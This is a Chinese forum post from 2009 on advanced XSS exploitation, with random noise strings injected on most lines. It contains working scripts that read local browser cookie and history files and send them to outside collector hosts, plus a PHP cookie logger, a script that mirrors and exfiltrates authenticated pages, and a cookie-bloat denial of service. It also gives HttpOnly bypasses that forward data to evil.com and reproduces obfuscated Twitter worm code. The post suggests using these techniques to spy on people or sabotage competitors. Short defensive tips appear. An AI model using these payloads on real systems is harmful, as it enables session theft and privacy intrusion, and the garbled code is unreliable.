XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
. m2 t5 F# `: }9 E0 h% }+ v, z本帖最后由 racle 于 2009-5-30 09:19 编辑 9 h! o. ?$ C, F2 X+ S2 B" l
- g# [( A! j/ X3 _- v) s3 sXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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9 M* K: O5 }3 j. P, [$ E; Uhttp://bbs.tian6.com/thread-12711-1-1.html* ^! P4 j; p1 I3 a
转帖请保留版权
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; [; ] k3 Z& ~9 j7 s$ l1 J- f-------------------------------------------前言---------------------------------------------------------, v/ P0 e6 b5 |8 T7 h- p* \
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5 P4 H5 j/ u2 J6 o本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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8 ^+ c: V, e, m: e4 r如果你还未具备基础XSS知识,以下几个文章建议拜读:( R9 }0 z" j- Q4 [9 {4 \3 }
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
2 P5 }- }; a, Z. M3 N4 Shttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
# h. i, B- S. Whttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
' {) U2 j: j# _, z) r) khttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
, m$ x: `( R, M2 i* w @http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码' t# {7 H. D) a6 p# N& H
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持! T3 w" f4 Q) a6 T4 K
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% t7 H+ F7 K) P l# J如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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9 I2 z1 j$ a: j5 H/ q希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高./ }4 @; Z1 J, J: B/ ~ U
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化," v1 R( L9 T2 J4 R. p
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大( ?& k+ Z" u B. v# I
& ~& m. m- b, n/ O. I6 t% IQQ ZONE,校内网XSS 感染过万QQ ZONE.9 a5 l2 p, q9 _
+ ?+ R* O* k1 u6 I% `: q4 yOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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..........
7 L% _; N* d! l9 i' E复制代码------------------------------------------介绍-------------------------------------------------------------
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* Q" Q' w$ \1 b+ U/ y什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- \3 r! f' g- s( Z0 @* H( P复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.% L% N2 F) l! l$ A I
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?) Q3 _6 X) s% G! S( B6 Y
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?7 {1 r; S+ j3 x$ p
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------. V$ z& B6 p7 ~! U& U
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.* R. t8 j$ Z9 U6 B% C
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫: H7 t. V; g7 L" K
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
+ Y0 a' \6 {& f1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
?, h/ f- N0 t z) l/ {4 b2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
( x( E t0 ^' K/ f R6 v3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
; V- f' N- Q2 ^5 m+ G$ a2 v4:Http-only可以采用作为COOKIES保护方式之一.4 r! P9 ^+ f( X% y, C4 l% z
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* a+ {, I8 L1 w3 M1 G- H% M+ r(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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$ ]! C$ N ~% J/ S# i 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。 t7 Y# S) r) Q# g o- W
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" x1 d" D7 y+ }+ c! y% q8 f 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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! C9 Z7 Y) g1 K! O2 u% O. z! \) ? 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
9 l+ N) i2 f H复制代码IE6使用ajax读取本地文件 <script>
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();% V5 ?! j6 s w' l) x
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5 G1 U# q- N4 { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {# a5 r6 l& B" X: P* M, W
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return request;
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* V J0 J3 Z6 C" `( I function _7or3(_m,action,argv){
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_x.open(_m,action,false); \9 z1 n- p3 \* R% i; ]$ G$ s3 v
, \2 r% G3 `* L4 ]) z if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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1 a! F' b# e4 O$ b& e- q return _x.responseText;$ Z$ O7 o9 D/ B! a8 G
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}
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</script>
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function ajax_obj(){
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var request = false;- k# m+ A3 d- W! I! g% W9 o6 k
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if(window.XMLHttpRequest) {8 l1 O5 ]4 M: M* ]4 `# w
+ h, N9 D" B* R: f8 k request = new XMLHttpRequest();! k+ a5 a0 K) A" j9 |/ F6 O Y2 S
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} else if(window.ActiveXObject) {, u) m, h0 W- a( Y# h
1 M8 z+ x5 S0 r" M' w$ \1 z var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',: y {' Q" {8 c" N
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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9 x- v& t1 c3 z. f0 A6 o# O8 A# r! K for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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} catch(e) {}
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return request;+ |8 J: J8 g9 u1 y. w7 R) v
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var _x = ajax_obj();& V2 F* A0 q+ \8 a# B
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function _7or3(_m,action,argv){3 a% i3 H* `9 d3 z* H8 P4 Q" `4 n
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_x.open(_m,action,false);+ @; h* v6 l9 i+ Z- d& V+ M
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);9 h B8 I0 A4 c) s
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</script> s t o! @% {9 O( `3 k& d9 ]" z
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”5 }* Q( g6 |' d! M$ Y
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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/*
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6 o. g2 J% ~- l7 P$ | Chrome 1.0.154.53 use ajax read local txt file and upload exp * R# _: ~' X! b+ s) \9 m
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm"); 4 d2 r7 C3 }" \' O7 G# ^
# ]; R; T# I% N) g$ D. A; j( R+ Dheader("Content-type: application/kxlzx");
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/* + g& u" b& v7 G0 w Q/ A
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set header, so just download html file,and open it at local. 1 B: U/ H( M; R# B* ^* D! Z
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/ Y9 R; E7 A |- d M7 H7 h& a<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> ! ?, w& b- x& E! J4 y& f
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<input id="input" name="cookie" value="" type="hidden"> + G' Z& _# P9 s* F6 A" K
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</form>
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<script>
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function doMyAjax(user) - u0 J! b Z; ~, A1 {: {& l+ y
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var time = Math.random();
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/* , i5 p' e% b6 Z
. j# b4 {6 _% r/ Z) v" F- x6 Tthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default + p D) {+ Z; ^6 F( w
0 l$ O) U; `& }7 Rand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... , u2 k) m( Y0 V" H
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5 A0 O2 F% t) B, I. \var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 4 M2 v! }/ P% q
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# z. C9 L6 P) qstartRequest(strPer); * Z# U Z" a; U& G7 a; ~
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function Enshellcode(txt)
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$ N" `- g' c$ t6 m( Y- Xvar url=new String(txt); 1 E/ q! O( s2 \ M
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var i=0,l=0,k=0,curl=""; + `1 [& E N* i& ?+ m7 @' s
0 i0 J, O' M4 `! ]3 W. A! Nl= url.length; : {, x l* z! y$ \) q, I Y
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for(;i<l;i++){
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k=url.charCodeAt(i); 9 T# L2 `" I' v' H; D
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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; T. \# p/ C& [3 d/ `$ [if (l%2){curl+="00";}else{curl+="0000";} & L0 t* _" z5 Y5 \! x {
' L5 P; }+ z$ \; Ocurl=curl.replace(/(..)(..)/g,"%u$2$1"); + z6 R; Q% S- e$ x: c# W* Y
$ T: X N, ?' f6 m# m6 ]return curl; , o3 M9 b! ]+ U- f; |0 j
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}
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function createXMLHttp(){
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+ y1 Y( w- q" x8 T if(window.XMLHttpRequest){ , S3 t1 m4 d" @- S; X
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xmlHttp = new XMLHttpRequest();
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" |8 Z2 x9 N9 f/ X0 o else if(window.ActiveXObject){ " m- V/ Y: ^+ R( L" ^; a* U6 f
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 1 i( N$ v1 Y3 b9 b |
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}
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function startRequest(doUrl){
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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7 N5 s+ ]3 ?/ t5 a3 w2 p; v xmlHttp.open("GET", doUrl, true);
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/ P: C$ d8 r4 k& P xmlHttp.send(null); : ~6 P. j9 t, K. C% |0 B1 d
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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var strResponse = ""; 7 f7 ?) y$ u: }( v3 t
) b9 o" [7 k) a& @' c9 K3 r4 r' Y setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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}
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) N( |1 @9 P0 [! yfunction framekxlzxPost(text)
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" Y- U; M2 {& M9 U+ g document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit(); ! c/ H0 D$ s1 K
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doMyAjax("administrator");
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& {# U& I! t. p7 F- c' r</script>3 z7 b+ k. f, z. H" _- s
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp; b4 B& R+ n0 E
7 \7 d. p' E" W' O1 o" I* lfunction createXMLHttp(){
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. r% M, _* M* G+ D9 f( { if(window.XMLHttpRequest){ ' M3 J2 e5 O, ~" G% N# U+ z
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){ . c' I& R1 t( N/ G3 b& \
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 3 V& l# K4 j- E
# |7 F i8 x* ?9 P N6 n5 B }
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}
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/ i9 n5 i4 G4 Q. k( h# Mfunction startRequest(doUrl){
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; 5 y( K2 @, B+ |1 @" \
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xmlHttp.open("GET", doUrl, true); 7 J/ t$ g1 c8 _" N9 V
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xmlHttp.send(null); & _ m( [) Z& j. t+ o' H: X
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function handleStateChange(){ 4 A( b2 y2 p1 o7 \* s9 W: U% o
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if (xmlHttp.readyState == 4 ){ ( J# w- F5 ?/ m# a' f
2 f9 d" w3 B5 ~9 ~9 v) x var strResponse = ""; 1 h$ O: A0 n! `9 Y' V" @3 _* n
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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function doMyAjax(user,file) % d0 b3 x. p+ J8 G) n% g' P% ~
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{ 8 a( Q# X7 N5 q
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var time = Math.random(); 2 x" j2 k7 \, v) \8 N
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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startRequest(strPer); ) o0 t o# u* {7 k+ q: O/ @
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function framekxlzxPost(text) 4 T& m$ W9 |+ d9 H, \
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{
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 2 S: d/ y# p9 d
8 g b \' e) e alert(/ok/);
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}
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- {6 _ c$ g; C, Q% `( O( K' ddoMyAjax('administrator','administrator@alibaba[1].txt');
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5 _5 r \& }$ i6 b) o</script># ?9 j S! X; X* p
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a.php" F5 Q3 F/ X4 a0 h
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( j& j3 w% d0 R; k; D4 G ~9 o<?php
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1 H5 S6 U1 h; P2 l( b) X& u2 `: G$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; ! g. B( Z. \; U4 v. ~' r
7 _) f" h8 m: \( K8 m$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; ! a, o! i1 w: E' J5 M
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); $ |7 t! L {) y+ `8 n( n1 B* M
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fwrite($fp,$_GET["cookie"]);
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& S$ P( }4 S o; W' f. n& hfclose($fp); 7 T0 N+ `* |1 `/ f2 ^; S
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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( [8 j6 n+ P& J3 A9 C或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.& }7 w2 {% f0 m$ O, H
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.0 o; `) ]( B1 `1 ?$ o
9 @0 I. W X1 b1 ^1 |5 s代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);5 N# n5 F ^. I) Z) g8 S
1 O" r7 H/ z2 K! H( v# a* n5 I2 r//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);% F/ _/ d! R4 W l. E
( N3 e n. a8 N( h. K//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);, O& a6 }/ \! B4 [! \1 t
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function getURL(s) {5 T8 Z/ q3 C, f# j" c8 j; S
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var image = new Image();
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image.style.width = 0;0 E) R; z. O0 w
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image.style.height = 0;7 J* [8 Z0 s: `: f3 @) N
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image.src = s;$ v/ Z m5 E- }1 {& N& a
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}
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d& r" O. ~( ZgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);3 X Z7 M: i# |# ? s# C
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
7 D& Y$ |) p+ x7 C" E' R4 [这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A
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var str = "";' f3 R0 s H9 j- {2 F
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while (str.length < 4000){, N$ N( x7 p7 z" Z
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str += metastr;- s" V; }. B" C E" Z6 i
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. `+ `& B( g8 d4 ~" n3 {3 udocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>) J% R/ K% q" S4 g1 |; ^5 h; G
0 d$ P% ~0 t$ n7 \; r. J详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
: E- _0 B0 n/ Q; q4 @复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.9 G2 V W% y& J$ _8 R8 }$ W$ @
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1500 P+ d" b5 d& }, g/ Y4 v9 X
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.# M) R: j2 p4 h0 P: {
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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) @2 ^7 c" S+ t4 _. j( M; f9 T4 b(III) Http only bypass 与 补救对策:/ J0 g8 ^# A$ }6 Z5 |
1 W9 C+ P/ ] R& J0 \! v什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.1 n* i9 u# M- W& `9 Q H4 b/ l
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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4 r4 x+ X" R2 J& ^5 t<!--. J; i0 p( M, M4 j1 m1 Z
" h# ^) Z; y: b* gfunction normalCookie() {
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& B+ e+ v$ J. I2 L3 Q: qdocument.cookie = "TheCookieName=CookieValue_httpOnly"; + _) O6 r0 S+ E. C9 X
" [$ p s- k1 T8 H/ ralert(document.cookie);
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}
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) N# U( g+ ?1 j' l+ {! Q( y: U/ jfunction httpOnlyCookie() { 4 ~# G* C! d4 e& [# |
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; P* Q+ y( D" \! O. w& T( \/ x" D
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alert(document.cookie);}' t! \* z4 M0 O' F4 c. s* U, g
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//-->
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</script>
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$ ]+ @$ R) n( x% ^! D( b. |<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>- f; I/ s! T, L& g9 @
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>2 I8 }9 @8 B2 n# B* R
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>$ |7 ]7 w. \% {- i" _: {1 j
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/ J8 M1 w, ?; L( jvar request = false;
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2 f( [/ ?3 E( h. N0 Y: a8 o if(window.XMLHttpRequest) {& _# m8 {8 @8 j: Z3 V6 H3 s
2 z" u3 _& ~6 H: P& Q3 ]- j' X request = new XMLHttpRequest();7 Q! w4 u! V& I
. a5 m% h9 t! n: g# Z if(request.overrideMimeType) {2 e e3 G" ?! U( b
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request.overrideMimeType('text/xml');/ ~$ n( _, u: b1 O ]* T' S
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( k n. I8 K- E( f% c' u( i4 H } else if(window.ActiveXObject) {! u1 b1 Y6 B6 |0 N* |- g3 i
3 _( }& u( ~' }2 i
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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% B5 c+ _$ n) X% w: H for(var i=0; i<versions.length; i++) {7 E3 W4 `. j+ l/ _; y1 h
9 ]" k" b4 E5 [, S h try {! o4 K8 l7 R5 j* L; W
1 F7 y' c3 d/ E0 E request = new ActiveXObject(versions);
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} catch(e) {}
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}
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xmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);& Z% l6 B% z. y: k- X; [
2 u$ Y" n+ I' t7 P7 P, a# pxmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;
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6 F+ `! T6 n0 N. V% ealert(xmlDoc);* a9 C) U2 n7 b& Y
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</script>5 u5 i( f6 b" ~
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);% U6 V8 G p( x9 P" s
) ~6 c* s/ [. M1 z! T* e) zXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");5 I* K3 v0 Z; B J
* H8 U8 d" ^8 ~6 `0 R2 A5 DXmlHttp.send(null);2 v. R* K" O- u# S9 J' D# s6 [
7 B6 Y/ L$ C; Y+ {+ nvar resource=xmlHttp.responseText- i% \* V3 s) T- x6 P& {" `$ l1 n
5 I. k& k5 F4 ~, m) H& E8 V7 |resource.search(/cookies/);
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! d c) R/ R+ e4 \* p# z......................
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</script>9 K. i7 y+ `- J# e4 [3 k$ C* ]
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: F$ L" ^5 c" t+ D, o6 F# {+ Y' s/ [+ U3 U+ J' p
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求* ~2 G0 H, r5 x$ k
5 V: u, N8 W$ C) i; r+ d. k[code]
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RewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE
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+ h2 A g% Z% g+ GRewriteRule .* - [F]# b ^7 y1 w3 u& C/ J8 l8 O
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4 R) c r1 w* I0 \6 \2 K
1 @" k5 v! d7 x$ ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求" z' ~' ^0 l8 r$ D
- }1 R; J4 W; ]& g) U7 t eacl TRACE method TRACE" N' W/ {9 O" X' b9 |+ Q5 x
. m6 Y" E3 ?& [% E/ e3 E G6 D: X C
...
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1 t/ B8 K, M; V( c3 [% @/ Vhttp_access deny TRACE
( }6 H! c4 q% a% v% o复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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# _" s8 [ E) ^, E" [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");& R6 s! }# D4 D4 N ^# }( W
) o7 i# U) s! F" vXmlHttp.open("GET","http://www.google.com",false);$ j* H+ U) ^# N2 V& ~ M
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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8 C* s+ X1 f( v. u5 E) g</script>. {# a# a9 g; N6 D+ N% E) t( w& `
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>$ d# ^% P, v4 T4 |8 R: w. ~& e
# |7 V: m) Q! N5 Avar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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' n4 b6 d$ f, u% K9 `, ?- J( K3 ~3 z1 j
l) Z1 W/ b, T! U. XXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);/ g0 D( D+ p$ X) O) l3 ?2 @
' V) \% a& ?% {& g<script>: B6 L N: n/ X' E& V
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. I2 k5 e! G& T* N7 W复制代码案例:Twitter 蠕蟲五度發威+ @. C" @1 g- {9 X6 `- r3 z
第一版:& ~: V* `8 c, y- y: ?: b8 O. v
下载 (5.1 KB)
# V: t' Y$ z8 R: f6 L/ G* B+ A7 V# q; x. G& E* ?( _5 N
6 天前 08:27
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; L7 Q V( S; S- Z; t+ W. e0 l第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 3 @2 s! S6 {0 ?7 A# E
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2. ; }6 l, r/ {3 X+ A
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3. function XHConn(){
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5 B, A" m( O' d! {0 d' |; k 4. var _0x6687x2,_0x6687x3=false;
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/ r6 H* d8 A6 g+ y) g! Q' y 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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* z/ d2 j: V3 R4 h 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } & ]3 c. Q2 m* e/ J( ]/ n
* b; [6 |) C# n+ k; C
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } {- J# I; \- T+ C/ a) e
" b9 u$ F4 j* @% W/ n# t( E0 r 8. catch(e) { _0x6687x2=false; }; }; }; ! ]! c9 V, D7 I8 h) d
复制代码第六版: 1. function wait() {
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6 o3 X0 \3 m% y4 D 2. var content = document.documentElement.innerHTML;
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" g6 p# S6 ^3 b: C @7 Q 3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/);
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2 }1 T+ {9 H! J 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content); / U$ b) x: X/ ]
) `! g4 O7 ? P2 ]2 m" y% S 7. var authtoken=authtoken[1]; 6 V, l8 y3 |# K2 |8 M9 {5 J# _
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8. var randomUpdate= new Array(); # q, h6 _, X" W5 Q4 c6 P+ i
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; + f7 S' |! {4 c# t0 _3 }6 ^/ s
$ b8 \' a2 z6 v0 ? 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; + e0 l5 U# ?* i3 q: t6 F( ^3 M
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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# D6 Y2 y; f% Y) B 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 5 j k! V4 O9 @5 H
4 }: k" f2 J$ P$ U( ~: N7 i 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
